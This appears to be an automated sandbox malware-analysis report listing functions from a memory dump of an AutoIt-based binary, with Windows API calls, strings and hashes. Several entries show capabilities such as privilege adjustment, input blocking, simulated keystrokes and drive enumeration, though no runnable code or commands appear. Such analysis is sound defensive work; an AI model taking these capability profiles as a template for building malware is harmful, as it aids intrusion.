AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00FC168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00FC16A1
FreeSid.ADVAPI32(?), ref: 00FC16B1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 01db644cb15c7aa052031f30bc3f23e01c7c2db08de5d1657101f01d47c01bf3
Instruction ID: 97de250f2ef66d78b2238bd931c68b5f08646b55d297a9044ace1c8994eca444
Opcode Fuzzy Hash: 01db644cb15c7aa052031f30bc3f23e01c7c2db08de5d1657101f01d47c01bf3
Instruction Fuzzy Hash: 38F0F47195030DFBDB00DFE49D89EAEBBBCFF08604F504965E501E2181E774AA44AA94

Function 00F9C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00F9C36C

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: d03b3b7685e4ff04173f72bc32febe62c783122fb56ce1ec6d6d79b2bef1e09f
Instruction ID: 8ffa7e2b7d4fd8ebe44fbb31217cd1e261e32888a532821483c130aedd0a9bb1
Opcode Fuzzy Hash: d03b3b7685e4ff04173f72bc32febe62c783122fb56ce1ec6d6d79b2bef1e09f
Instruction Fuzzy Hash: 42416A72900219AFEF24DFB9CC88EBB77B8EB84364F504269F905D7180E6709D81DB90

Function 00FBD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00FBD28C

Strings

X64, xrefs: 00FBD2A8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 84ae253663d53748348ee38867d9012509c00683cbd05a5e035fc29a81b5ae21
Instruction ID: 779aa8130ce36e9e075fbfce9f9e81d5215e4b0ff17b5ec5539b178b04e28df0
Opcode Fuzzy Hash: 84ae253663d53748348ee38867d9012509c00683cbd05a5e035fc29a81b5ae21
Instruction Fuzzy Hash: E8D0C9B580112DEACB94CB90DC88ED9B37CBF04305F104156F106E2000DB309549AF10

Function 00FD68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FD6918
FindClose.KERNEL32(00000000), ref: 00FD6961

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: e749b969a66492cda84b21373cd4779c3d0dffa4e0d9b744552d891529558a05
Instruction ID: 3d11a4395e5a50aebacb66b2d99e2b57fe285f7eb30e27e56b312be38e79d338
Opcode Fuzzy Hash: e749b969a66492cda84b21373cd4779c3d0dffa4e0d9b744552d891529558a05
Instruction Fuzzy Hash: E91193316042149FC710DF69D884A26BBE5FF85328F19C69AE4698F3A2C734EC05DBD1

Function 00FD37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00FE4891,?,?,00000035,?), ref: 00FD37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00FE4891,?,?,00000035,?), ref: 00FD37F4

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: c71b9d13e7cb966f3d9706d546f5b6a360be2bb17f3c23e8326cd0f0b9410d87
Instruction ID: 6c81f487a2d140f92fd67e3d68d6723cad95aba7b20556974fa006e6c7abb846
Opcode Fuzzy Hash: c71b9d13e7cb966f3d9706d546f5b6a360be2bb17f3c23e8326cd0f0b9410d87
Instruction Fuzzy Hash: 1EF0E5B160922D2AE72017668C4DFEB3AAEEFC5771F000166F609E2281D9609904D6F1

Function 00FCB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00FCB25D
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 00FCB270

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 41062b50c8b6c4ed0e10b41c1f5ec74f9527c9947d5bd7a1e9ac4fae39917359
Instruction ID: 1f0462067e3617d969c167cc8c80a4fd49fc12e0f7249c422367f6f05b82f212
Opcode Fuzzy Hash: 41062b50c8b6c4ed0e10b41c1f5ec74f9527c9947d5bd7a1e9ac4fae39917359
Instruction Fuzzy Hash: D0F06D7580424EABDB059FA0C806BFE7BB4FF04305F048009F951A5191C3798601EF94

Function 00FC10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FC11FC), ref: 00FC10D4
CloseHandle.KERNEL32(?,?,00FC11FC), ref: 00FC10E9

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 0a8c87aaeaabf2f9009638189df1463438a0c2651a480ec59aae05c2066e09a0
Instruction ID: 9df4887cd2f1475bc92ab325de9610c418c8b7d033fd8cb3feac9f562b3ff2d4
Opcode Fuzzy Hash: 0a8c87aaeaabf2f9009638189df1463438a0c2651a480ec59aae05c2066e09a0
Instruction Fuzzy Hash: A6E04F32008614AEF7252B11FD05E7377ADEF04320B10C82EF4A5804B1DB626CA1FB50

Function 00FDEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00FDEABD

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 888fe48283c5c3db131149d32d720f75d35c0ba5bf91c1bd0ff8fbd094059b6d
Instruction ID: ea2e980203d18ac7982d15738c4ce5b0a316b308f3990d40a576b73528281e16
Opcode Fuzzy Hash: 888fe48283c5c3db131149d32d720f75d35c0ba5bf91c1bd0ff8fbd094059b6d
Instruction Fuzzy Hash: A1E01A322002159FC710EF59D804E9AB7E9AF98760F048416FC4ACB361DAB4A840ABA0

Function 00F809D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00F803EE), ref: 00F809DA

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 048fa64dc50fb6371860f331262c8970c37075a9b66058558c5e69be0513b26f
Instruction ID: 06ad0dd35eeafc18c3e2e7736d1cd97413ce1ba2976a265784744eba6f264f75
Opcode Fuzzy Hash: 048fa64dc50fb6371860f331262c8970c37075a9b66058558c5e69be0513b26f
Instruction Fuzzy Hash:

Function 00FE2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00FE2B30
DeleteObject.GDI32(00000000), ref: 00FE2B43
DestroyWindow.USER32 ref: 00FE2B52
GetDesktopWindow.USER32 ref: 00FE2B6D
GetWindowRect.USER32(00000000), ref: 00FE2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00FE2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00FE2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2CF8
GetClientRect.USER32(00000000,?), ref: 00FE2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00FE2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2D80
GlobalLock.KERNEL32(00000000), ref: 00FE2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2D98
GlobalUnlock.KERNEL32(00000000), ref: 00FE2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2DA8
GlobalFree.KERNEL32(00000000), ref: 00FE2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00FFFC38,00000000), ref: 00FE2DDB
GlobalFree.KERNEL32(00000000), ref: 00FE2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00FE2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00FE2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FE303F

Strings

static, xrefs: 00FE2D3A, 00FE2E91
, xrefs: 00FE2FC5
AutoIt v3, xrefs: 00FE2CF2
DISPLAY, xrefs: 00FE2EA2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: d55dc49baddb80d466ba5e4f027048b600dafcdec6783ea8f6844b157f46f034
Instruction ID: 2f4d83fb5d4fcf629f358f3c08d96acdf7cb1ff3741193d1c097ba257b3d51cf
Opcode Fuzzy Hash: d55dc49baddb80d466ba5e4f027048b600dafcdec6783ea8f6844b157f46f034
Instruction Fuzzy Hash: B1028E71900219AFDB14DF64CD89EAE7BBDFF48310F048158F915AB2A1DB74AD01EBA0

Function 00FF70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00FF712F
GetSysColorBrush.USER32(0000000F), ref: 00FF7160
GetSysColor.USER32(0000000F), ref: 00FF716C
SetBkColor.GDI32(?,000000FF), ref: 00FF7186
SelectObject.GDI32(?,?), ref: 00FF7195
InflateRect.USER32(?,000000FF,000000FF), ref: 00FF71C0
GetSysColor.USER32(00000010), ref: 00FF71C8
CreateSolidBrush.GDI32(00000000), ref: 00FF71CF
FrameRect.USER32(?,?,00000000), ref: 00FF71DE
DeleteObject.GDI32(00000000), ref: 00FF71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00FF7230
FillRect.USER32(?,?,?), ref: 00FF7262
GetWindowLongW.USER32(?,000000F0), ref: 00FF7284

Part of subcall function 00FF73E8: GetSysColor.USER32(00000012), ref: 00FF7421
Part of subcall function 00FF73E8: SetTextColor.GDI32(?,?), ref: 00FF7425
Part of subcall function 00FF73E8: GetSysColorBrush.USER32(0000000F), ref: 00FF743B
Part of subcall function 00FF73E8: GetSysColor.USER32(0000000F), ref: 00FF7446
Part of subcall function 00FF73E8: GetSysColor.USER32(00000011), ref: 00FF7463
Part of subcall function 00FF73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00FF7471
Part of subcall function 00FF73E8: SelectObject.GDI32(?,00000000), ref: 00FF7482
Part of subcall function 00FF73E8: SetBkColor.GDI32(?,00000000), ref: 00FF748B
Part of subcall function 00FF73E8: SelectObject.GDI32(?,?), ref: 00FF7498
Part of subcall function 00FF73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00FF74B7
Part of subcall function 00FF73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00FF74CE
Part of subcall function 00FF73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00FF74DB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: a83a0549dde1dd2146ec464faf8af1bc3c9582f3282c446472b3f57a50bbdbd4
Instruction ID: 3b4c2be501244046c5992f10752b579b9ab3c887787e758c5873c54f7bf9d7b3
Opcode Fuzzy Hash: a83a0549dde1dd2146ec464faf8af1bc3c9582f3282c446472b3f57a50bbdbd4
Instruction Fuzzy Hash: D5A19172408319AFD700AF60DD48E7BBBA9FF49320F140A19FA62961E1D771E944EB91

Function 00FE2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00FE273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00FE286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00FE28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00FE28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00FE2900
GetClientRect.USER32(00000000,?), ref: 00FE290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00FE2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00FE2964
GetStockObject.GDI32(00000011), ref: 00FE2974
SelectObject.GDI32(00000000,00000000), ref: 00FE2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00FE2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FE2991
DeleteDC.GDI32(00000000), ref: 00FE299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00FE29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00FE29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00FE2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00FE2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00FE2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00FE2A77
GetStockObject.GDI32(00000011), ref: 00FE2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00FE2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00FE2A97

Strings

static, xrefs: 00FE294F, 00FE2A71
msctls_progress32, xrefs: 00FE2A13
AutoIt v3, xrefs: 00FE28F8
DISPLAY, xrefs: 00FE295A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 887f2b8718b3def47fbc76438e13613fd3747aefb27b5956ce2f9badea55bb3c
Instruction ID: 076aeb9a816b8d116b1d426913b81de1fcf1b0f0e2494af1a437fd14d07a5d19
Opcode Fuzzy Hash: 887f2b8718b3def47fbc76438e13613fd3747aefb27b5956ce2f9badea55bb3c
Instruction Fuzzy Hash: DAB13BB1A00219AFEB14DF69CD89EAA7BADEF08710F008155FA15E7290D774AD40DBA0

Function 00FD4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FD4AED
GetDriveTypeW.KERNEL32(?,00FFCB68,?,\\.\,00FFCC08), ref: 00FD4BCA
SetErrorMode.KERNEL32(00000000,00FFCB68,?,\\.\,00FFCC08), ref: 00FD4D36

Strings

\\.\, xrefs: 00FD4B3F
Unknown, xrefs: 00FD4BED, 00FD4C83
SSA, xrefs: 00FD4CA6
Removable, xrefs: 00FD4C10, 00FD4C15
USB, xrefs: 00FD4CB4
SAS, xrefs: 00FD4CC9
SSD, xrefs: 00FD4C4A
CDROM, xrefs: 00FD4BFB
1394, xrefs: 00FD4C9F
ATAPI, xrefs: 00FD4C91
iSCSI, xrefs: 00FD4CC2
FileBackedVirtual, xrefs: 00FD4CEC
Network, xrefs: 00FD4C02
ATA, xrefs: 00FD4C98
MMC, xrefs: 00FD4CDE
RAMDisk, xrefs: 00FD4BF4
Fibre, xrefs: 00FD4CAD
Fixed, xrefs: 00FD4C09
SATA, xrefs: 00FD4CD0
Virtual, xrefs: 00FD4CE5
RAID, xrefs: 00FD4CBB
PhysicalDrive, xrefs: 00FD4B76
SCSI, xrefs: 00FD4C8A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 2d826aad772f38eb77d6d3b974cb6c50de729838d0b90a76a1b694dc06f646bb
Instruction ID: 2cbcf5d40014f0f9a35407ca6646d15f24b1f00b36d6ea8bad057e7df0539c21
Opcode Fuzzy Hash: 2d826aad772f38eb77d6d3b974cb6c50de729838d0b90a76a1b694dc06f646bb
Instruction Fuzzy Hash: 8E61A531A1610ADBCB04EF24CA82A7C77B2AB44314B28455BF846AB751DB76FD81FB41

Function 00FF73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00FF7421
SetTextColor.GDI32(?,?), ref: 00FF7425
GetSysColorBrush.USER32(0000000F), ref: 00FF743B
GetSysColor.USER32(0000000F), ref: 00FF7446
CreateSolidBrush.GDI32(?), ref: 00FF744B
GetSysColor.USER32(00000011), ref: 00FF7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00FF7471
SelectObject.GDI32(?,00000000), ref: 00FF7482
SetBkColor.GDI32(?,00000000), ref: 00FF748B
SelectObject.GDI32(?,?), ref: 00FF7498
InflateRect.USER32(?,000000FF,000000FF), ref: 00FF74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00FF74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00FF74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00FF752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00FF7554
InflateRect.USER32(?,000000FD,000000FD), ref: 00FF7572
DrawFocusRect.USER32(?,?), ref: 00FF757D
GetSysColor.USER32(00000011), ref: 00FF758E
SetTextColor.GDI32(?,00000000), ref: 00FF7596
DrawTextW.USER32(?,00FF70F5,000000FF,?,00000000), ref: 00FF75A8
SelectObject.GDI32(?,?), ref: 00FF75BF
DeleteObject.GDI32(?), ref: 00FF75CA
SelectObject.GDI32(?,?), ref: 00FF75D0
DeleteObject.GDI32(?), ref: 00FF75D5
SetTextColor.GDI32(?,?), ref: 00FF75DB
SetBkColor.GDI32(?,?), ref: 00FF75E5

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

